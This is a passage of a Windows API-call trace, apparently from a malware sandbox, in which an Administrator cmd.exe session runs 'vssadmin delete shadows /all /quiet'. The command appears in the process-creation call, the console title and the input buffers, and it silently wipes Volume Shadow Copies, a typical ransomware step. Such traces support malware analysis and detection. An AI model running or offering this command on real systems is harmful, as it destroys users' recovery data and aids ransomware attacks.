_wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0290.924] ??_V@YAXPEAX@Z () returned 0x1 [0290.924] GetProcessHeap () returned 0x29f96d20000 [0290.924] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xffde) returned 0x29f96d28bb0 [0290.925] GetProcessHeap () returned 0x29f96d20000 [0290.925] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x5a) returned 0x29f96d39200 [0290.925] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0290.925] malloc (_Size=0xffce) returned 0x29f96e50820 [0290.925] ??_V@YAXPEAX@Z () returned 0x29f96e50820 [0290.925] GetProcessHeap () returned 0x29f96d20000 [0290.925] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1ffac) returned 0x29f96d3c060 [0290.928] SetErrorMode (uMode=0x0) returned 0x0 [0290.928] SetErrorMode (uMode=0x1) returned 0x0 [0290.928] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x29f96d3c070, lpFilePart=0xf9aaeff110 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf9aaeff110*="system32") returned 0x13 [0290.928] SetErrorMode (uMode=0x0) returned 0x1 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d3c060, Size=0x4a) returned 0x29f96d3c060 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d3c060) returned 0x4a [0290.928] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0290.928] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1b4) returned 0x29f96d39ac0 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x358) returned 0x29f96d38ba0 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d38ba0, Size=0x1b6) returned 0x29f96d38ba0 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d38ba0) returned 0x1b6 [0290.928] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xe8) returned 0x29f96d39c80 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d39c80, Size=0x7e) returned 0x29f96d39c80 [0290.928] GetProcessHeap () returned 0x29f96d20000 [0290.928] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d39c80) returned 0x7e [0290.929] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0290.929] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf9aaefee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf9aaefee80) returned 0x29f96d39270 [0290.929] FindClose (in: hFindFile=0x29f96d39270 | out: hFindFile=0x29f96d39270) returned 1 [0290.929] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xf9aaefee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf9aaefee80) returned 0xffffffffffffffff [0290.929] GetLastError () returned 0x2 [0290.929] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xf9aaefee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf9aaefee80) returned 0x29f96d39270 [0290.930] FindClose (in: hFindFile=0x29f96d39270 | out: hFindFile=0x29f96d39270) returned 1 [0290.930] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0290.930] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0290.930] ??_V@YAXPEAX@Z () returned 0x1 [0290.930] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff400, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.931] GetProcessHeap () returned 0x29f96d20000 [0290.931] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x21c) returned 0x29f96d39d10 [0290.931] GetConsoleTitleW (in: lpConsoleTitle=0x29f96d39d20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.931] GetProcessHeap () returned 0x29f96d20000 [0290.932] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d39d10, Size=0xc2) returned 0x29f96d39d10 [0290.932] GetProcessHeap () returned 0x29f96d20000 [0290.932] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d39d10) returned 0xc2 [0290.932] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0290.933] GetProcessHeap () returned 0x29f96d20000 [0290.934] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39d10) returned 1 [0290.934] InitializeProcThreadAttributeList (in: lpAttributeList=0xf9aaeff320, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf9aaeff210 | out: lpAttributeList=0xf9aaeff320, lpSize=0xf9aaeff210) returned 1 [0290.934] UpdateProcThreadAttribute (in: lpAttributeList=0xf9aaeff320, dwFlags=0x0, Attribute=0x60001, lpValue=0xf9aaeff1fc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf9aaeff320, lpPreviousValue=0x0) returned 1 [0290.934] GetStartupInfoW (in: lpStartupInfo=0xf9aaeff2b0 | out: lpStartupInfo=0xf9aaeff2b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0290.934] GetProcessHeap () returned 0x29f96d20000 [0290.934] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x20) returned 0x29f96d26ef0 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.934] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0290.935] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0290.935] GetProcessHeap () returned 0x29f96d20000 [0290.935] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26ef0) returned 1 [0290.935] GetProcessHeap () returned 0x29f96d20000 [0290.935] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x12) returned 0x29f96d26ef0 [0290.935] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.935] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0290.935] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.935] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0290.935] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xf9aaeff240*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf9aaeff218 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xf9aaeff218*(hProcess=0x94, hThread=0x98, dwProcessId=0x9bc, dwThreadId=0x27fc)) returned 1 [0290.943] CloseHandle (hObject=0x98) returned 1 [0290.943] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0290.943] GetProcessHeap () returned 0x29f96d20000 [0290.943] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d3b560) returned 1 [0290.943] GetEnvironmentStringsW () returned 0x29f96d25930* [0290.943] GetProcessHeap () returned 0x29f96d20000 [0290.943] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xaea) returned 0x29f96d3aa60 [0290.943] FreeEnvironmentStringsA (penv="=") returned 1 [0290.943] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xf9aaefe718, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf9aaefe718, ReturnLength=0x0) returned 0x0 [0290.943] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xf284e53000, lpBuffer=0xf9aaefe750, nSize=0x7a0, lpNumberOfBytesRead=0xf9aaefe710 | out: lpBuffer=0xf9aaefe750*, lpNumberOfBytesRead=0xf9aaefe710*=0x7a0) returned 1 [0290.943] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0291.080] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xf9aaeff198 | out: lpExitCode=0xf9aaeff198*=0x2) returned 1 [0291.080] CloseHandle (hObject=0x94) returned 1 [0291.080] _vsnwprintf (in: _Buffer=0xf9aaeff368, _BufferCount=0x13, _Format="%08X", _ArgList=0xf9aaeff1a8 | out: _Buffer="00000002") returned 8 [0291.080] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0291.080] GetProcessHeap () returned 0x29f96d20000 [0291.080] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d3aa60) returned 1 [0291.080] GetEnvironmentStringsW () returned 0x29f96d25930* [0291.080] GetProcessHeap () returned 0x29f96d20000 [0291.080] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xaea) returned 0x29f96d3aa60 [0291.080] FreeEnvironmentStringsA (penv="=") returned 1 [0291.080] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0291.080] GetProcessHeap () returned 0x29f96d20000 [0291.080] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d3aa60) returned 1 [0291.080] GetEnvironmentStringsW () returned 0x29f96d25930* [0291.080] GetProcessHeap () returned 0x29f96d20000 [0291.080] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xaea) returned 0x29f96d3aa60 [0291.080] FreeEnvironmentStringsA (penv="=") returned 1 [0291.080] GetProcessHeap () returned 0x29f96d20000 [0291.080] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26ef0) returned 1 [0291.080] DeleteProcThreadAttributeList (in: lpAttributeList=0xf9aaeff320 | out: lpAttributeList=0xf9aaeff320) [0291.080] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0291.082] ??_V@YAXPEAX@Z () returned 0x1 [0291.082] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.082] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0291.082] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.082] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0291.082] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.082] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0291.082] GetConsoleOutputCP () returned 0x4e3 [0291.083] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0291.083] SetThreadUILanguage (LangId=0x0) returned 0x409 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39c80) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38ba0) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39ac0) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d3c060) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39200) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d391b0) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26c60) returned 1 [0291.084] GetProcessHeap () returned 0x29f96d20000 [0291.084] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26e30) returned 1 [0291.084] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf9aaeff748 | out: _Buffer="\r\n") returned 2 [0291.084] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.084] GetFileType (hFile=0xfa0) returned 0x3 [0291.084] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.084] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0291.084] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf9aaeff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff718*=0x2, lpOverlapped=0x0) returned 1 [0291.084] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0291.084] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0291.084] _vsnwprintf (in: _Buffer=0x29f96e30060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf9aaeff758 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0291.084] _vsnwprintf (in: _Buffer=0x29f96e30086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xf9aaeff758 | out: _Buffer=">") returned 1 [0291.085] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.085] GetFileType (hFile=0xfa0) returned 0x3 [0291.085] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.085] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0291.085] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xf9aaeff748, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff748*=0x14, lpOverlapped=0x0) returned 1 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] GetFileType (hFile=0xf94) returned 0x3 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.085] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0291.085] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.085] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0291.085] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.085] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0291.085] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.085] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0291.085] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0291.085] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.085] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.085] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0291.085] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0291.086] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.086] GetFileType (hFile=0xf94) returned 0x3 [0291.086] _get_osfhandle (_FileHandle=0) returned 0xf94 [0291.086] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0291.086] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.086] GetFileType (hFile=0xfa0) returned 0x3 [0291.086] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0291.086] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0291.086] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xf9aaeffa48, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa48*=0x5, lpOverlapped=0x0) returned 1 [0291.086] GetProcessHeap () returned 0x29f96d20000 [0291.086] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x4012) returned 0x29f96d28bb0 [0291.086] GetProcessHeap () returned 0x29f96d20000 [0291.086] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0291.087] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0291.087] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0291.087] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0291.087] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0291.087] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0291.087] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0291.087] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0291.087] GetProcessHeap () returned 0x29f96d20000 [0291.087] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xb0) returned 0x29f96d26e30 [0291.087] GetProcessHeap () returned 0x29f96d20000 [0291.087] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1a) returned 0x29f96d26c60 [0291.087] GetConsoleOutputCP () returned 0x4e3 [0291.088] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0291.088] SetThreadUILanguage (LangId=0x0) returned 0x409 [0291.089] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff890, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0291.089] malloc (_Size=0xffce) returned 0x29f96e40840 [0291.089] ??_V@YAXPEAX@Z () returned 0x29f96e40840 [0291.090] malloc (_Size=0xffce) returned 0x29f96e50820 [0291.090] ??_V@YAXPEAX@Z () returned 0x29f96e50820 [0291.090] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0291.090] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0291.090] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0291.090] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0291.090] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0291.090] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0291.090] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0291.090] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0291.090] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0291.090] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0291.090] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0291.090] _wcsicmp (_String1="Exit", 